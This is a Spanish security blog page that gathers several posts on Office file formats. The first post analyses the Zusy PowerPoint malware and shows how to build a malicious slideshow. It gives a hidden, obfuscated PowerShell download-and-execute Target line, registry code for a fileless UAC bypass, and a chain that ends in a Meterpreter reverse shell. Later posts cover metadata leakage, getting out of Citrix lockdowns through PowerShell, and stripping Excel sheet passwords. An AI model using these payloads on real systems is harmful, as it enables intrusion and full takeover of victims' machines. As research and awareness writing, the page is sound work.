Mostrando entradas con la etiqueta OOXML. Mostrar todas las entradas
Mostrando entradas con la etiqueta OOXML. Mostrar todas las entradas

sábado, junio 17, 2017

Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Hace unos días se hacía pública la aparición de un malware denominado “Zusy”, que se introduce en los equipos utilizando como vector de entrada un archivo en formato Microsoft PowerPoint. Una de las peculiaridades de este malware respecto a otros que se han encontrado en el pasado, es que su ejecución no depende de que el usuario active las macros - muy populares hasta hoy -, sino que utiliza una característica propia de PowerPoint que permite la ejecución de programas externos. En este artículo vamos a analizar el método de entrada utilizado por este malware, y las posibles consecuencias que puede tener en el equipo de una víctima.

Figura 1: Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:

Figura 2: Diapositiva de gancho para capturar el movimiento del ratón

Cuando el usuario pasa el ratón por encima del hipervínculo, PowerPoint muestra el siguiente mensaje:

Figura 3: Warning de MS PowerPoint por la ejecución de programas externos

Éste es el punto crítico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecución de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compañero Pablo González.

Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento técnico bastante sencillo. ¡Vamos con ello! En esta sección vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentación en PowerPoint maliciosa, con el mismo comportamiento.

Construyendo tu propio Zusy

Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el ratón por encima del hipervínculo nos aparece un cuadro de dialogo que nos indica que se está intentando ejecutar un programa externo. Si buscamos en la documentación oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentación en PowerPoint, por lo que vamos a añadir una Powershell con la opción de que se lance al pasar el ratón por encima.

Figura 4: Ejecución de Powershell al mover el ratón por encima

Una vez añadido, guardamos nuestra presentación como fichero .ppsx y lo probamos. Cuando pasamos el ratón por encima, podemos ver como aparece el cuadro de dialogo que indicábamos anteriormente sobre la ejecución de programas externos, si lo habilitamos, se abre una consola Powershell.

Figura 5: Código del hipervínculo para ejecutar el programa en slide1.xml

Al analizar el código de los ficheros OOXML, que son en formato XML, podemos ver qué es lo que PowerPoint ha añadido en el código de la "Slide1" para habilitar la ejecución del programa. Como sabéis, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.

Figura 6: En slide1.xml.rels está el target que se va a abrir

En slide1.xml.rels encontramos la ruta del programa que se está ejecutando, vamos a comprobar, si además de ejecutar programas, ejecuta también los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:

Figura 7: Añadir parámetros de ejecución al hipervínculo manualmente

Si abrimos la presentación y pasamos el ratón sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.

Figura 8: Ahora se ejecutaría la calculadora

Una vez tenemos identificado el método principal con el que el malware ejecuta programas a través de un archivo PowerPoint, vamos a ver, a través de una prueba de concepto, porque esto puede ser peligroso para los usuarios.

Prueba de concepto

Con la técnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentación maliciosa en formato PowerPoint:
Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadString(%27https%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27goo.gl%27%2B%5Bchar%5D%200x2F%2B%27r9L7vv%27)"
Que es la representación en formato URLEncode de:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadString('https:'+[char] 0x2F+[char] 0x2F+'dominio'+[char] 0x2F+'recurso')
Este comando lo que hace es ejecutar Powershell, que a su vez hace una petición a una dirección determinada para descargar un archivo y posteriormente ejecutarlo sin llegar a guardarlo en disco. Como podemos ver en la figura anterior, la URL se forma sustituyendo el carácter “/” por “[char] 0x2F”. Esta es una forma de “ofuscar” la dirección, de tal manera que PowerPoint no tome ninguna medida de seguridad y la procese correctamente.  Si se pone la dirección URL sin esto, veremos como no es posible ejecutar la petición.

Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qué fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutará una serie de sentencias similares a las siguientes:
$registryPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
$name = "IsolatedCommand"
$value = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C `"IEX (New-Object Net.WebClient).DownloadString('url_meterpreter)`""
New-ItemProperty -Path $registryPath
` -Name $name `
-Value $value `
-PropertyType ExpandString
` -Force | Out-Null
Este código inserta en el registro de Windows un valor determinado, en este caso una nueva petición para descargar y ejecutar un archivo desde un servidor remoto. Esto lo hacemos para utilizar la técnica de fileless UAC bypass que hemos explicado en artículos anteriores, para elevar privilegios.

Cuando el binario que hace el UAC bypass se ejecute, llamará a Powershell con los argumentos necesarios para que haga una petición al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administración. Tras esto, la máquina del atacante recibirá una conexión reversa desde la de la víctima. Veamos todo el proceso resumido y esquematizado:

Figura 9: Esquema del PoC que se realiza
1. El usuario ejecuta el fichero PowerPoint malicioso. 
2. El fichero PowerPoint ejecuta Powershell con una serie de argumentos que realizan una llamada a un servidor para descargar y ejecutar un fichero sin privilegios de administración. 
3. El fichero descargado y ejecutado, realiza cambios en el registro de la víctima para realizar un UAC bypass, a continuación, ejecuta el binario vulnerable a dicho bypass. 
4. Debido a que la rama del registro ha sido envenenada, el binario ejecutado llama a Powershell con una serie de argumentos que realizan otra petición al servidor y descargan otro fichero para ejecutarlo, ¡esta vez como administrador! 
5. El fichero ejecutado contiene un payload que realiza una conexión reversa a la máquina del atacante. 
6. El atacante tiene acceso completo a la máquina de la víctima con máximos privilegios.
Figura 10: PoC de Cómo obtener una sesión Meterpreter desde un PowerPoint

Como podemos observar, la diferencia entre que tu maquina sea comprometida totalmente y no lo sea, está en pulsar el botón de habilitar en el aviso que te muestra PowerPoint, una aplicación que a priori es bastante confiable. Por eso se debe estar siempre muy atento a la hora de abrir o ejecutar los archivos que nos envíen y leer detenidamente los avisos de seguridad antes de aceptarlos.

Autor: Santiago Hernández Ramos, cybersecurity researcher en ElevenPaths

martes, agosto 20, 2013

Metadatos en (los otros) ficheros de Microsoft Excel

Los metadatos son un problema de fuga de información que afecta a muchas empresas, de hecho, haciendo una pequeña prueba con las empresas líderes en protección contra fuga de información según el cuadrante mágico de Gartner, pudimos ver que a ellas también les afectaba de manera especialmente sensible en algunos casos.

Figura 1: Fugas de información en empresas líderes en DLP según Gartner

Por eso decidimos continuar evolucionando nuestras herramientas de protección y dentro de las mejoras continuas que estamos introduciendo a la familia de productos de MetaShield Protector para controlar los metadatos decidimos ir a las fugas por los ficheros ofimáticos menos comunes. Hace unas semanas os hablaba de los metadatos perdidos en los archivos perdidos de Microsoft Office y hoy quiero hablaros de Los Otros.

Figura 2: Ficheros XLSB de Microsoft Excel

Los Otros no son nada más que el resto de formatos de ficheros nativos que soporta una aplicación ofimática, y para ejemplarizarlo he elegido Microsoft Excel, que cuenta con la siguiente lista de formatos nativos:
.xl - Hoja de cálculo de Excel
.xla – Complemento de Excel
.xlb – Barra de herramientas de Excel
.xlc - Grafico de Excel
.xld – Base de datos de Excel
.xlk - Copia de seguridad de Excel
.xll - Complemento de Excel
.xlm – Macro de Excel
.xls – Hoja de cálculo de Excel
.xlsb – Hoja de cálculo binario de Excel
.xlshtml – Hoja de cálculo de Excel para Internet formato HTML
.xlsm – Hoja de cálculo de Excel con Macros habilitadas
.xlt – Plantillas de Excel
.xlv – Modulo de Visual Basic de Excel
.xlw – Espacio de trabajo de Excel
.xlw – Libro de Excel
Cuando se hace un hacking con buscadores persiguiendo todos los archivos ofimáticos, estos deben ser buscados también cuando se hace uso del comando ext:, ya que si no nos quedaríamos sin muchas fugas de información que podrían dar información jugosa.

Figura 3: Metadatos en un fichero .XLL analizado con FOCA Online como XLS 

Yo me he parado a ver cómo son todos esos ficheros y he sacado alguna cosa curiosa sobre cada uno de estos tipos que os resumo en esta lista.
- XLA: No tiene metadatos, es código y se puede ver información sólo en los comentarios de los programas VBA y en los nombres de las variables.
- XLB: Sin metadatos, es un archivo de código binario.
- XLC: Codificación binaria. Mismos metadatos que un XLS. 
- XLD: Formato XML sin metadatos.
- XLK: Formato binario. Mismos metadatos que un XLS.
- XLL: Formato binario. Mismos metadatos que un XLS.
- XLM: Codificación OOXML. Mismos metadatos que un XLSX.
- XLS: El formato nativo.
- XLSB: Formato binario. Mismos metadatos que XLS.
- XLSHTML: Codificación HTML.
- XLSM: Codificación OOXML. Mismos metadatos que XMLX.
- XLT: Codificación binaria. Mismos metadatos que XLS.
- XLV: Codificación binaria. Mismos metadatos que XLS.
- XLW: Codificación binario. Mismos metadatos que XLS.
Como se puede ver, casi todos los formatos ofrecen metadatos que pueden ser extraídos con las herramientas como FOCA Online, o MetaShield Forensics, solo hay que buscarlos de ellos cuando se esté realizando la fase de footprinting y fingerprinting de un pentesting y preocuparse de ellos cuando se esté realizando un proceso de Data Loss Prevention. En la familia MetaShield Protector hemos creado una versión para IIS, otra para SharePoint, otra para File Servers y otra para usar en los clientes Windows. Cuando tenga un poco más de tiempo os paso un resumen similar de "Los Otros" de Microsoft Word y Power Point.

Saludos Malignos!

sábado, julio 27, 2013

Metadatos perdidos en archivos de MS Office perdidos

Las aplicaciones de Microsoft Office tienen una opción muy útil de generar una copia autoguardada del fichero con el que se está trabajando por si acaso se produce un error de la aplicación, poder recuperarse. Estos ficheros de autoguardado han ido cambiando con el tiempo, pero todos tienen dos características curiosas: Son en formato binario y conservan todos los metadatos.

Figura 1: Presentaciones PowerPoint en ficheros de autoguardado TMP

Los ficheros originales eran todos con extensión TMP, así que es muy habitual encontrar ficheros con extensión TMP que realmente sean reconocidos como documentos PPT, XLS o DOC. Cuando se busca con Google para hacer Hacking con buscadores, hay que tener en cuenta que con filetype:PPT no van a aparecer, así que hay que buscar esos documentos con extensión TMP.

Figura 2: Archivos EXCEL autoguardados en formato XAR

En el caso de Microsoft Excel, además de los archivos .TMP antiguos, está también el formato XAR. De nuevo se trata de un formato binario, y también conserva todos sus metadatos, información oculta y datos perdidos.

Figura 3: Archivos DOC autoguardados con formato ASD

En el caso de Microsoft Word, dependiendo de la versión que usemos vamos a encontrar ficheros con extensión .ASD o .WBK. No importa si estamos trabajando en Microsoft Office 2007 o superior con ficheros OOXML, en este caso los archivos son binarios también.

Figura 4: Archivos DOC autoguardados en formato WBK

Por supuesto, si bajamos uno de esos archivos y los subimos a la la FOCA Online, podremos ver cómo está lleno de sus metadatos, por lo que si estuviéramos haciendo una auditoría podrían venir de maravilla. Si queremos ver el documento, le cambiamos la extensión a .DOC (formato binario), para ver qué metadatos hay en él.

Figura 5: Análisis con FOCA Online de los metadatos de un archivo autoguardado

En definitiva, que si vas a buscar los metadatos, o hacer un análisis forense digital de los archivos de un sistema, acuérdate no solo de buscar las extensiones más comunes, y dale un vistazo a los TMP, XAR, ASD y WBK que puede que te den algún dato clave en la resolución del caso.

Saludos Malignos!

jueves, julio 25, 2013

Limpiar metadatos en Microsoft Office 2011 para Mac

En la versión de Microsoft Office 2013 para Windows existe una opción muy útil para evitar problemas con metadatos, información oculta y datos perdidos. Esa opción, que se llama Inspeccionar Documento y está dentro del menú Preparar, avisa de absolutamente cualquier dato que pueda irse junto con tu documento, además de dar la posibilidad de eliminarlos con un solo clic.

Figura 1: Opción de Inspeccionar Documento en Microsoft Office 2007 para Windows

Por el contrario, en Microsoft Office 2011 para Mac ese menú no está disponible, y lo único que existe es una opción en las Preferencias / Seguridad de cada aplicación - en este caso Word - para que se eliminen los datos personales al guardar el documento.

Figura 2: Opciones de Privacidad en Microsoft Office 2011 para Mac

Al ver esto, rápidamente me acordé de que esta era exactamente la misma opción que había en OpenOffice.org y que tan mal funcionaba, razón por la que acabamos creando el proyecto Open Source de OOMetaExtractor para limpiar correctamente este tipo de documentos ODF.

Figura 3: OOMetaExctrator para limpiar metadatos en documentos ODF

Para probar el funcionamiento de esta opción en Microsoft Office 2011 para Mac decidí utilizar el famoso documento de Tony Blair que tantos quebraderos de cabeza le propinó por culpa de los metadatos. En esta primera imagen se puede ver el documento original Blair.doc analizado por MetaShield Forensics - la antigua Forensic FOCA - con sus respectivos metadatos, información oculta y datos perdidos.

Figura 4: Documento Blair.doc original analizado con MetaShield Forensics

Ahora se hace una copia de este documento, y se guarda con Microsoft Office para Mac 2011 con la opción de eliminar datos personales al guardar.

Figura 5: Guardamos con Microsoft Office 2011 para Mac para limpiar la información oculta

Y de nuevo volvemos a pasarlo por MetaShield Forensics donde se puede observar que no todos los metadatos han sido eliminados. Entre la lista de datos aparece - en este caso - la plantilla que se está utilizando, la versión de software con que se manipuló el documento, y la fecha de impresión original, que como veis es anterior a la fecha de creación del documento dejando una muestra clara de esta manipulación realizada.

Figura 6: Documento Blair.doc limpiado con Microsoft Office 2011 para Mac

Para comprobar como debería funcionar esta opción correctamente, en este tercer caso utilizamos MetaShield Client, una versión para los sistemas operativos Windows que permite eliminar todos los metadatos de cualquier documento ofimático (PDF, Microsoft Office binarios, OOXML, ODF, etcétera) utilizando las opciones del botón derecho.

Figura 7: Limpiando el documento Blair.doc con MetaShield Client

Una vez limpio con MetaShield Client, utilizamos la herramienta MetaShield Forensics para ver qué información aparece, y como podéis ver sale limpio como la patena.

Figura 8: Análisis de Blair.doc con MetaShield Forensics tras ser limpiado con MetaShield Client

Al final, los metadatos pueden revelar mucha información, y en cualquier Análisis Forense Digital pueden resultar cruciales para responder a algunas preguntas. En el caso de Microsoft Office 2011 para Mac no parece tener mucho sentido que estando esta opción de Inspeccionar documento de serie desde Microsoft Office 2007 para Windows, no la hayan incorporado para solucionar el problema de raíz también en sus versiones para Mac OS X.

Saludos Malignos!

domingo, enero 13, 2013

Too many consoles, too many (power) shells

Han pasado ya un año y medio desde que el gran Silverhack y yo nos diéramos un paseo por la Defcon 19 para dar la charla de Bosses Love Excel, Hackers Too. Esa charla fue una en la que más hemos trabajado para acabar de montarla, y lo cierto es que los días que pasamos encerrados discutiendo y peleándonos con todo, al final merecieron la pena para nosotros, y cuando lo recordamos con una cerve, Juanito y yo estamos satisfechos de aquello.

Desde entonces, sistematicamente he ido notando una reducción constante del número del ficheros .ica disponibles en Internet en los que se pueden probar muchos de los trucos que os he ido dejando publicados por aquí, para hacer mil cosas para hacer jailbreak, jugar con las cadenas de conexión e incluso algún que otro truco de magia.

Ayer, después de "torturar" un poco a mis alumnos del Master de Seguridad de la UEM con el SQL Injection - y tras echarme una más que merecida siesta - me levanté con ganas de echar uno de esos vistazos que le pego a ver cómo va "el mundo de los .ica" en los buscadores.

Por supuesto, sacando un poco de partido a ser uno de los pocos que hace cuando hace hacking con buscadores lo hace con Bing Hacking, disfruto todavía de un amplio vergel de ficheros disponibles en la red, en los que se pueden probar todos los trucos y técnicas que os he ido contando... y alguna cosa nueva.

Recordando la charla que impartimos, hubo una parte en la que hablamos de "Too many consoles", en la que veníamos a decir eso de que si te bloquean el cmd.exe, siempre puedes usar el WMI, la PowerShell o usar el truco de Didier Stevens y calzar la consolar de ReactOS en un Excel - ¡Excel Rulz! -. 

Os cuento todo esto porque ayer mismo, como os decía, me volví a dar cuenta de que a día de hoy todo sigue muy vigente, y los entornos "fortificados" de Citrix, siguen adoleciendo de los mismos problemas, las sticky keys, demasiadas hot keys, y... too many consoles.

En este caso en concreto, como podéis ver, es un Windows Server 2008 R2 en el que se ha fortificado el entorno, y desde un panel de abrir fichero al que se puede acceder mediante un Ctrl+O, cuando se llama a cmd.exe, aparece el mensaje de la fortificación del entorno.

Figura 1: cmd.exe bloqueado por el administrador

Con cambiar y tirar con PowerShell.exe, ya está listo. Además, como estamos en Windows Server 2008 R2 no hay que saberse ni la ruta ni nada, ya que el path está disponible en cualquier cuadro de diálogo. 

Figura 2: PowerShell.exe disponible para los hackers

Por supuesto, la PowerShell no es solo una shell como cmd.exe, como su propio nombre indica es una Power Shell en la que se pueden hacer mil cosas, y a pesar de ser más peligrosa que el cmd.exe, los administradores todavía no la tienen en consideración. Fail.

De hecho, de nuevo en la fortificación del sistema, la consola de Explorer.exe había sido fortificada, ocultando las rutas a las unidades del sistema, lo que impedía verlas desde la estructura de ficheros mostrada en el Explorador de archivos.

Figura 3: Visualización de disco local bloqueado

Pero para la PowerShell esta medida es algo menos que inexistente, con lo que todo el sistema es tuyo. Para más sorpresas, entre Veritas, Tivoli y SQL Server este sistema tiene disponible ya un Wireshark. ¡Viva la fiesta!

Figura 4: Visualización de archivos y directorios con Power Shell

De hecho, en PowerShell se pueden hacer cosas tan chulas como las que necesitaba hace poco un amigo hacker de Las Vegas que en un pentesting había owneado una máquina y solo tenía una consola. Lo que me pidió por chat fue algo así:
- "¿Cómo puedo buscar en ficheros Excel que están en formato OOXML unos que tuvieran unos valores concretos dentro de las celdas desde la consola".
- "Abrete la consola PowerShell y lánzale un script, K. ¡PowerShell Rulz!" 
- "Bosses Love Excel, Hackers too!"
Realmente creo que la PowerShell se creo para los hackers, que muchos admins no son capaces de salir de las MMCs. }:)) 

Saludos Malignos!

miércoles, noviembre 02, 2011

Metadatos e información oculta en Apple iWork (2 de 4)

************************************************************************************************
************************************************************************************************

Antes de comenzar a ver un poco los ficheros que forman un documento de Apple iWork, es necesario comprender que estos tienen similitudes y diferencias, basadas sobre todo, en como se ha ido construyendo el paquete.

El primero de los programas que apareció fue Apple Keynote en el año 2003, de forma independiente. No fue hasta el año 2005 que apareció la primera versión de Apple iWork'05, con solo dos aplicaciones: Apple Keynote versión 2.0 y Apple Pages versión 1.0. No fue hasta Apple iWork'08 que no se incluyó en el paquete la primera versión de Apple Numbers, la hoja de cálculo.

Figura 5: Historial de versiones de Apple iWork en Wikipedia

La versión de Apple iWork'08 es la primera que vino ya con el formato de documento que vamos a analizar. Anteriormente Apple Keynote y Apple Pages utilizaban un formato binario, pero con la llegada de ODF y OOXML, Apple decidió seguir un formato basado en un archivo XML con documentos vinculados y todos comprimidos en un único fichero. No hay que olvidar que Apple estuvo en el comité de OOXML y desde el principio mostró su apoyo también a ODF.... aunque al final tirase por la vía del medio y crease su propio formato de documento - cosas de Apple, supongo -.

Fuera de este artículo queda el análisis de los ficheros de Apple iWork 1.5 para iPad, que ya veremos en otro, y los ficheros binarios previos a Apple iWork'08.

El fichero BuildVersionHistory.plist

Uno de los ficheros que se encuentra en todos los documentos de Apple iWork'08 y 09 el BuildVersionHitory.plist. Este fichero está codificado en el formato Property List (.plist) tan común en los entornos Apple. Para hacerlo visible es necesario descargarse una utilidad para Windows como Plist Editor para Windows - gratuita - o utilizar en Mac OS X la herramienta que viene con el entorno de desarrollo /Developer/Applications/Utilities/Property List Editor.app

Figura 6: Plist Editor para Windows

En sistemas Mac OS X, para visualizar el contenido no es necesario utilizar ninguna herramienta, ya que la visualización de ficheros .plist está integrada en Finder, con lo que basta con seleccionarlo y ver en la previsualización del mismo el contenido.

Figura 7: BuildVersionHistory.plist visto en la previsualización de Finder en Mac OS X

Como puede verse en la imagen, el contenido de este fichero es una lista de versiones y fechas de edición del documento lo nos da una línea temporal para ubicar este documento.

Vista previa en la carpeta QuickLook: Preview.pdf y Thumbnail.jpg

Con el objeto de obtener un vistazo rápido del contenido de un documento, por ejemplo cuando se visualiza con Finder en un sistema Mac OS X, cada archivo de Apple iWork contiene, dentro de la carpeta QuickLook los ficheros de previsualización del documento. Es decir, el contenido sería equivalente al thumbnail que se guarda en los metadatos Exif de una fotografía. Esa previsualización está almacenada en un un archivo llamado Thumbnail.jpg que muestra la primera página del documento.

Sin embargo, si el fichero es un de tipo .pages, en esta carpeta por, defecto, encontraremos también una previsualización del documento pero en formato PDF de lo mismo. Esto, va a traernos cosas bastantes curiosas, especialmente en el fichero PDF, ya que la previsualización se realiza con el driver de creación de documentos PDF y la configuración por defecto del mismo que tenga la máquina en la que se está trabajando. Así, tal y como se puede ver en la figura siguiente, puede aparecer información muy jugosa como el usuario del sistema, el software utilizado para crear el documento, y, en este caso, la versión en concreto del sistema operativo: Mac OS X 10.6.4 Snow Leopard

Figura 8: Metadatos en el fichero Preview.pdf dentro de la carpeta QuickLook de un documento Pages

Como se puede ver, tenemos en este caso un documento creado el 25 de Enero de 2011 actualizado a Mac OS X 10.6.4 Snow Leopard, con lo que sabemos que esa máquina no tiene instaladas los parches de seguridad de Mac OS X 10.6.5 que salieron el 11 de Noviembre de 2010 y Mac OS X 10.6.6 que salieron el 6 de Enero de 2011, y que entre ambos suman una buena cantidad de fallos de seguridad.

En el archivo Thumbnail.jpg se obtiene poca información relativa a metadatos, pero sí que hay una cosa bastante curiosa a tener en cuenta que puede dar información muy útil para completar la información de la máquina desde la que se creó este documento, pero lo veremos en la parte siguiente del artículo.


************************************************************************************************
************************************************************************************************

martes, noviembre 01, 2011

Metadatos e información oculta en Apple iWork (1 de 4)

************************************************************************************************
************************************************************************************************

Ya hace tiempo le dediqué varias entradas a unos artículos realizados con mi amigo Enrique Rando sobre Metadatos e Información Oculta en documentos Microsoft Office y Metadatos e Información Oculta en Documentos OpenOffice. Toda esa información se convirtió en conocimiento que metimos en las primeras versiones de FOCA.

Ahora, con la salida de la FOCA 3, hemos ido atesorando una serie de ideas y nuevas funciones a introducir en próximas versiones, y en especial en la versión de la FOCA que saldrá creada para analistas forenses, en lugar de para pentesters. Entre las cosas que hemos hablado, por supuesto, están las de añadir nuevos formatos de documentos soportados por el módulo de metadatos y, entre ellos se encuentran los que vienen en los ficheros de datos del paquete ofimático iWork de Apple, que es de lo que trata este artículo.

Figura 1: Apple iWork

El paquete Apple iWork está formado por tres aplicaciones principales, que son Pages, Numbers y Keynote, o lo que es lo mismo, un procesador de textos, una hoja de cálculo y un editor de presentaciones. Es capaz de trabajar con otros formatos de datos para realizar funciones concretas, pero en este artículo se van a tratar solo los formatos principales.

Las extensiones de los ficheros y los buscadores

Los documentos de estas tres aplicaciones tienen unas extensiones muy fácilmente reconocibles. El editor de textos, Pages, utiliza la extensión .pages para sus ficheros. Numbers, que es la hoja de cálculo, trabaja con ficheros con extensión .numbers, mientras que el editor de presentaciones, Keynote, utiliza ficheros terminados en .key.

Para realizar las pruebas era necesario disponer de ficheros públicos creados con diferentes versiones de este paquete, y desde equipos distintos con distintas configuraciones, así que lo más socorrido es tirar de los buscadores. Encontrar estos ficheros a través de los buscadores no es fácil del todo, ya que la extensión .pages se utiliza en muchas páginas web en Internet y, por ejemplo, la extensión .key es muy utilizada en la distribución de claves públicas PGP, por lo que es difícil reconocerlos a a la primera a través de los buscadores.

La solución fue tirar un poco de Hacking con Buscadores, y sacar partido al conocimiento que de cómo funcionan estos tenemos.

Encontrando ficheros iWork a través de Google y Bing

Los formatos de fichero que utiliza Apple iWork están basados en una estructura similar a ODF y OOXML, es decir, una estructura de carpetas y archivos comprimidos en un único fichero. Esta compresión se realiza con compresión PK, por lo que, como ya vimos en el artículo de "Cuatro Cosas que BING hace mejor que Google", este último, es decir, salvo que tenga implementado un indexador como hace con ODF u OOXML, como Google no descomprime ficheros PK, no será capaz de ver el contenido de estos ficheros.

Tras varias pruebas, es fácil comprobar que Google directamente ignora el contenido generado con Apple iWork, así que si una web espera que sean indexados por las palabras que aparecen en sus documentos Pages, Numbers o Keynote se llevará un chasco. Si eres el responsable SEO de una empresa, no publiques contenido en Apple iWork.

Conociendo esto, descubrir ficheros en Google de estos formatos es más sencillo, solo hay que buscar documentos con estas extensiones, es decir, .pages, .numbers y .key que no cuenten con ninguna descripción en los resultados, es decir, que no hayan sido indexados. No todos serán los ficheros que buscan, pero si son ficheros de Apple iWork cumplirán esta regla.

Figura 2: Archivo Apple iWork Numbers visto en Google

En el caso de Bing sucede algo igual y algo distinto. Sucede igual que Bing ignora el formato de estos ficheros, es decir, que no indexa el resultado de los ficheros Apple iWork porque no implementa un filtro que interpretación del documento, pero se comporta distinto a Google porque éste sí es capaz de indexar el contenido de ficheros comprimidos con PK, por lo que basta con buscar archivos comprimidos que tengan algún fichero estándar en todos los documentos Apple iWork, como por ejemplo archivos .plist y se obtendrá una buena cantidad de documentos de pruebas.

Figura 3: Archivos pages descubiertos con un poco de Bing Hacking usando filetype

La estructura de los ficheros de Apple iWork

Como ya se ha dicho antes, los tres tipos de ficheros de las aplicaciones Apple iWork, es decir, los documentos .pages, .numbers y .key, mantienen una misma estructura. Los tres son contenedores comprimidos que contiene los siguientes elementos comunes:

- Fichero Index: Es el documento maestro del archivo. Donde está el contenido. Cambia la extensión dependiendo de la aplicación. Se verá más adelante.

- Fichero BuildVersionHistory.plist: Historial de versiones del documento.

- Carpeta QuickLook: Contiene los archivos de pre-visualización.

- Carpeta thumbs: Miniaturas creadas por la aplicación de imagenes incrustadas.

- Archivos incrustados: Archivos originales incrustados sin modificar en el documento.

Figura 4: Visualización interna de un fichero .pages

No tienen exactamente la misma estructura de ficheros, y los ficheros utilizan esquemas XML distintos, pero esa visualización de la Figura 4 de un documento .pages es más o menos la misma en todos los archivos de Apple iWork. Y todos esos ficheros contenidos tienen información bastante como vamos a ir viendo por partes.

************************************************************************************************
************************************************************************************************

domingo, mayo 16, 2010

Cosas de jefes

Siempre que hay una nueva campaña y alguien dice: "Podríamos hacer una web..." me acuerdo de que un día me dieron una lección de marketing sobre las campañas YAW (Yet Another Web-page) y todos los problemas y complicaciones que conlleva. Sin embargo, por otro lado, los creativos son especialistas en el poder viral de ciertas campañas y buscan, con cosas curiosas y divertidas llevar el mensaje. Este es el caso de "Desinstalando al Jefe", la campaña viral de Office 2010.

He de reconocer que tiene gracia la campaña en sí, en la idea, eso de poder desinstalar al jefe... y ya no al jefe, sino al superior. Ese que no es jefe ni ná, pero que está justo un poco por encima tuyo. Tiempo ha yo tuve uno de esos y ... uff no había podido ver cosa más incompetente trabajando. De hecho, era el tipo de persona que sólo quería que en su tarjeta de visita pusiera "Jefe/Director/Manager" de lo que sea. Como si le ponemos a Director de recogida de basuras.

En esta campaña de Office 2010 tienes que elegir entre desinstalar a MS Office o Desinstalar al Jefe.


Dura elección...

Por supuesto, todos van a desinstalar al jefe, y hay cuatro módulos que desinstalar. Seguro que si trabajas en una empresa con jefes intermedios te suenan todos esos módulos. Yo incluso soy capaz de decir que mi jefe intermedio tenía algún Option Pack instalado con algún modulo más, como "¿Es que lo tengo que hacer yo todo?" o "Si no me preocupo yo a nadie le importa".


Módulos de Jefe a desinstalar

Como estamos en época de crisis he seleccionado lo del aumento de sueldo a ver como se desisntalaba y ... ya ves, al final el jefe tenía pasta guardada }:))


Desinstalando "No hay dinero para aumentos"

En fin, que es una campaña viral, pero que me ha hecho gracia y es algo relajado para el domingo.

Saludos Malignos!

lunes, abril 19, 2010

(Des) Proteger un documento Excel 2007

Ayer por la noche un amigo me escribió un mail con una consulta técnica. Normalmente este tipo de mails están en mi buzón con prioridad 2, es decir, cuando tenga algo de tiempo, pero este amigo es un buen amigo y además el tema era curioso. La historia es que quería pasarles un documento Excel 2007 a unas personas pero, al mismo tiempo, quería asegurarse de que no le modificaban el fichero. Es decir, quería protegerlo.

Vaya por delante que la mejor forma de gestionar los permisos de los usuarios en documentos compartidos son los Information Rights Management que se usan en las compañías, pero para usuarios desconectados hay que usar las opciones de protección de celda, hoja y libro que, para darle la mejor de las respuestas a mi amigo, he estado probando durante una horita.

Protección de celda

La opción de protección de celda se activa a nivel de celda. Con esta opción sólo se marca la celda como bloqueada – u oculta – pero no tendrá efecto hasta que no se proteja, igualmente, la hoja de cálculo.


Figura 1: Protección de celda

Protección de hoja

Dentro de las opciones de revisar se encuentra la opción de proteger una hoja de cálculo, que no el libro completo, y que permitirá limitar las opciones que se pueden realizar con esa celda.


Figura 2: Opciones de protección de celda


Figura 3: Protección contra edición

Hay que tener en cuenta que las opciones de proteger una celda se crearon para evitar modificaciones accidentales de documentos y no como medida “anti-copy” por lo que, por defecto, se pueden seleccionar las celdas bloqueadas. En la imagen se puede ver como, al seleccionar la opción de proteger la hoja, se permite la opción de selección.


Figura 4: Protección de hoja. Por defecto se permite seleccionar

Y si se puede seleccionar, se puede copiar y pegar en cualquier otra hoja, completamente, con fórmulas y todo.


Figura 5: Se puede seleccionar, se puede copiar

Sin embargo, es posible, deseleccionar esas opciones y evitar que las celdas bloqueadas sean copiadas y enviadas a otra hoja u otro libro de Excel.

La selección activa

Una curiosidad con la protección de hoja se produce con la selección activa cuando se protege una hoja. Si al seleccionar la opción de protección de hoja se decide prohibir la selección de celdas protegidas, estas no van a poder ser copiadas…salvo que ya estén seleccionadas. El sistema de Excel, por defecto, recuerda la selección activa al guardar un documento luego, si se protege una celda pero se ha guardado el libro con esa celda seleccionada, el usuario que abra el documento sólo tendrá que copiar y pegar, sin necesidad de seleccionar nada, porque ya está seleccionado – incluso si no se ve en la hoja la selección.


Figura 6: Protegiendo una hoja de cálculo con una celda seleccionada


Figura 7: La celda seleccionada se guarda en el documento

Además de ese problema con la selección activa, si no se protege el libro, las passwords de protección de hoja pueden ser fácilmente eliminadas. Al igual que sucedía con las contraseñas de sólo escritura del documento, tal y como os puse en este post [Eliminar la password de escritura de Excel 2007] se pueden ver en el fichero xml de la hoja Excel y, basta con eliminarla, para que no haya protección.


Figura 8: La password de la hoja de cálculo está en el xml

Protección de Libro

